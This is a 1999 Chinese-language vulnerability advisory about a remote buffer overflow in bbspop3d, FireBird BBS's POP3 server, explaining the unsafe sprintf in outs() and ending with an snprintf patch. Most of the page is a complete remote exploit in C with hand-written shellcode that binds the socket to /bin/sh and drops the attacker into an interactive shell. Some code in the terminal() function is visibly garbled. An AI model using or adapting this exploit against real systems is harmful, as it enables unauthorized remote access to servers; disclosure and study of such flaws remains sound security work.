首页 -> 安全研究
安全研究
安全漏洞
火鸟BBS漏洞
发布日期:1999-11-15
更新日期:1999-11-15
受影响系统:
程序名:描述:
BBSPOP3D
Revision [29 Oct 1997]
By Peng-Piaw Foong, ppfoong@csie.ncu.edu.tw
概述:
BBSpop3d是FireBird BBS中带的一个POP3 server,用来从BBS上pop3取信.当然这对于BBS用户是非常方便的.但不幸的是,它含有缓冲区溢出的漏洞,可能导致攻击者远程执行任意命令. 由于bbspop3d执行时在fork出的子进程中会setuid到BBSUID(通常是9999),setgid到BBSGID(通常是99),所以远程攻击者并不能直接获取root权限.但至少给了攻击者以bbs身份进入系统的机会.由于bbspop3d并没有预编译好的包,所以在不同的机器/系统上,返回地址也不同,攻击者可能需要猜测返回地址来不断尝试.由于bbspop3d在接收连接要求时会自动fork一个子进程来处理,即使该子进程当掉,bbspop3d仍然可以继续接收新的连接,这也给了攻击者"暴力"猜测返回地址的机会,而且这些不会被syslogd记录.尽管bbspop3d有自己的记录文件,但有多少管理员会经常查看它呢?:-(
细节:
这个溢出漏洞在outs()函数中,它用来将字符串写入socket描述符:
....
void
outs(str)
char *str;
{
char sendbuf[BUFSIZE]; // --->定义一个1024字节的缓冲区
(void)bzero(sendbuf, sizeof(sendbuf));
(void)sprintf(sendbuf, "%s\r\n", str);// --->直接将str的内容拷贝到sendbuf中.
(void)write(sock, sendbuf, strlen(sendbuf));
}
.....
因此,所有调用此函数的地方都有潜在的安全问题.
我发现至少有两处存在问题:
1.在main()函数中
.......
while (fgets(inbuf, sizeof(inbuf), cfp)!=0) { // ---->从cfp中读数据到inbuf中(最大1024)
idletime = 0;
msg = inbuf; // ---->msg指向inbuf
........
cmd = nextwordlower(&msg); // ---->将msg中所有的大写字符变成小写
........ 注意这要求你的shellcode中不能
含有0x41和0x5a之间的字符
if (str==NULL)
{
// --->加上"-ERR..."这22个字符后就可能导致溢出,22个字节好象小了点,不过也足够了.;)
sprintf(genbuf, "-ERR Unknown command: \"%s\".", cmd);
//--->若genbuf的值超过1024,那么outs返回的时候就会导致溢出代码被执行...
outs(genbuf);
}
2.在User()函数中.
....
if (strstr(cmd, ".bbs") == NULL) {
sprintf(genbuf, "-ERR Unknown user: \"%s\".", cmd);
outs(genbuf);
......
这里的问题和1中的一样,就不再重复了.
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* BBSpop3d remote exploit for x86 Linux
* It will give you a bbs shell(mostly uid=9999,gid=99)
* Greets to: tb,bingo,condor...
* Some codes are stole from Herbert Rosmanith's qpopper exploit,thanks herp.;-)
* It is tested in Slackware 3.6 .RET=0xbffff5d3+[0-877]
* Redhat 5.2 RET=0xbffff9ab+[0-910]
* Redhat 6.0 RET=0xbffff8eb+[0-910]
* Maybe you should change the RET/OFFSET/ALIGNMENT to make it work for your bbspop3d.
*
* Warning: This program is for educational purpose only.
* USE IT AT YOUR OWN RISK!
* by warning3
* 1999/7/18
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define RET 0xbffff9ab
#define OFFSET 0
#define ALIGNMENT 1
#define BUFFSIZE 1024
#define RANGE 23
#define NOP 0x90
#define PORT 110
/*
At first we copy the no.4 file descriptor(our socket fd) to standard in/out/err,
so we can type commands and see the right or error results.
--- warning3
__asm__("
xorl %eax,%eax # 2 bytes eax=0 dup2(4,0)
movb $0x3f,%al # 2 bytes eax=63 dup2()'s syscall() number
xorl %ebx,%ebx # 2 bytes ebx=0
movb $0x4,%bl # 2 bytes ebx=4 oldfd
xorl %ecx,%ecx # 2 bytes ecx=0 newfd
int $0x80 # 2 bytes syscall(63) (dup socket fd to stdin)
xorl %eax,%eax # 2 bytes eax=0 dup2(4,1)
movb $0x3f,%al # 2 bytes eax=63
xorl %ebx,%ebx # 2 bytes ebx=0
movb $0x4,%bl # 2 bytes ebx=4 oldfd
xorl %ecx,%ecx # 2 bytes ecx=0
movb $0x1,%cl # 2 bytes ecx=1 newfd
int $0x80 # 2 bytes syscall(63) (dup socket fd to stdout)
xorl %eax,%eax # 2 bytes eax=0 dup2(4,2)
movb $0x3f,%al # 2 bytes eax=63
xorl %ebx,%ebx # 2 bytes ebx=0
movb $0x4,%bl # 2 bytes ebx=4 oldfd
xorl %ecx,%ecx # 2 bytes ecx=0
movb $0x2,%cl # 2 bytes ecx=2 newfd
int $0x80 # 2 bytes syscall(63) (dup socket fd to stderr)
jmp call
start: popl %esi # standard shellcode from aleph1
movl %esi,0x8(%esi) # standard shellcode from Alph1.
xorl %ebx,%ebx
movb %ebx,0x7(%esi)
movl %ebx,0xc(%esi)
leal 0x8(%esi),%ebx # avoid the char from 0x41 - 0x5a('A'-'Z')
movl %ebx,%ecx # 2 bytes so add one instruct.
leal 0xc(%esi),%ebx # same as above.
movl %ebx,%edx # 2 bytes
xorl %eax,%eax
movb $0xb,%al
movl %esi,%ebx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call: call start
.string \"/bin/sh\"");
*/
char shellcode[] =
"\x31\xc0\xb0\x3f\x31\xdb\xb3\x04\x31\xc9\xcd\x80" /* dup2(4,0) */
"\x31\xc0\xb0\x3f\x31\xdb\xb3\x04\x31\xc9\xb1\x01\xcd\x80" /* dup2(4,1) */
"\x31\xc0\xb0\x3f\x31\xdb\xb3\x04\x31\xc9\xb1\x02\xcd\x80" /* dup2(4,2) */
"\xeb\x25\x5e\x89\x76\x08\x31\xdb\x88\x5e\x07\x89\x5e\x0c\x8d\x5e" /* spawn shell */
"\x08\x89\xd9\x8d\x5e\x0c\x89\xda\x31\xc0\xb0\x0b\x89\xf3\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xc9\xc3\x90\xda\x31\xc0\xb0\x0b\x89\xf3\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd6\xff\xff\xff"
"/bin/sh";
void die(char *s) {
if (errno) perror(s);
else fprintf(stderr,"%s\n",s);
exit(-1);
}
int resolv(char *host,long *ipaddr) {
if (isdigit(host[0])) {
*ipaddr=inet_addr(host);
if (*ipaddr==-1) return -1;
}
else {
struct hostent *hp;
if ((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"tc: %s: unknown host\n");
exit(-1);
}
*ipaddr=*(unsigned long *)hp->h_addr;
}
return 0;
}
int connect_to(char *hostname,short port) {
struct sockaddr_in s_in;
int s;
s=socket(PF_INET,SOCK_STREAM,0);
if (s==-1) die("socket");
if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
die("unknown host");
s_in.sin_family=AF_INET;
s_in.sin_port=htons(port);
if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
die("connect");
return s;
}
void socket_read(int s,char *buf,int len) {
int i;
switch(i=read(s,buf,len)) {
case -1: die("unexpected EOF");
case 0: die("EOF");
default:
buf[i]=0;
break;
}
}
void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;
sprintf (buf, "trap '' SIGALRM SIGTRAP\n\
PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin;export PATH\n\
/bin/uname -a;/usr/bin/id\n"<NSIG;i++) signal(i,SIG_IGN);
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
for (;;) {
memcpy(&rfds,&fds,sizeof(fds));
i=select(s+1,&rfds,NULL,NULL,NULL);
if (i==-1) die("select");
if (i==0) die("session closed");
if (FD_ISSET(s,&rfds)) {
if ((i=read(s,buf,sizeof(buf)))>);
write (s, buf, strlen(buf));
for (i=0;i1)
die("session closed");
write(1,buf,i);
}
if (FD_ISSET(0,&rfds)) {
if ((i=read(0,buf,sizeof(buf)))<1)
die("session closed");
write(s,buf,i);
}
}
}
void main(int argc,char *argv[]) {
char buf[BUFFSIZE],*ptr;
long addr,*addr_ptr;
unsigned long sp;
int offset=OFFSET,align=ALIGNMENT;
int s,i;
printf("BBSpop3d exploit for x86 linux - Jul 1999 \n");
printf(" \n");
if(argc==3) offset=atoi(argv[2]);
if(argc==4) align=atoi(argv[3]);
if (argc<2||argc>4) {
printf("Usage: %s hostname \n",argv[0]);
exit(0);
}
s=connect_to(argv[1],PORT);
socket_read(s,buf,sizeof(buf));
sp=RET;
addr=(long)(sp+offset);
ptr=buf;
addr_ptr=(long *)(ptr+align);
for(i=align;i<(BUFFSIZE-4);i+=4)
*addr_ptr++=addr;
memset(ptr,NOP,BUFFSIZE-RANGE-strlen(shellcode));
ptr=buf+BUFFSIZE-RANGE-strlen(shellcode);
memcpy(ptr,shellcode,strlen(shellcode));
buf[BUFFSIZE-1]='\0';
printf("Using RET:0x%x OFFSET:%d\n",addr,offset);
printf("Press ENTER to send overflow data\n");
getchar();
write(s,buf,sizeof(buf));
socket_read(s,buf,sizeof(buf));
terminal(s);
}
建议:
只要将outs()中的sprintf用snprintf代替就可以了.
[warning3@welcometohell local_utl]$ diff diff bbspop3d.c bbspop3d_warning3.c
145c145
< (void)sprintf(sendbuf, "%s\r\n", str);
---
> (void)snprintf(sendbuf,BUFSIZE, "%s\r\n", str);
浏览次数:8204
严重程度:0(网友投票)
绿盟科技给您安全的保障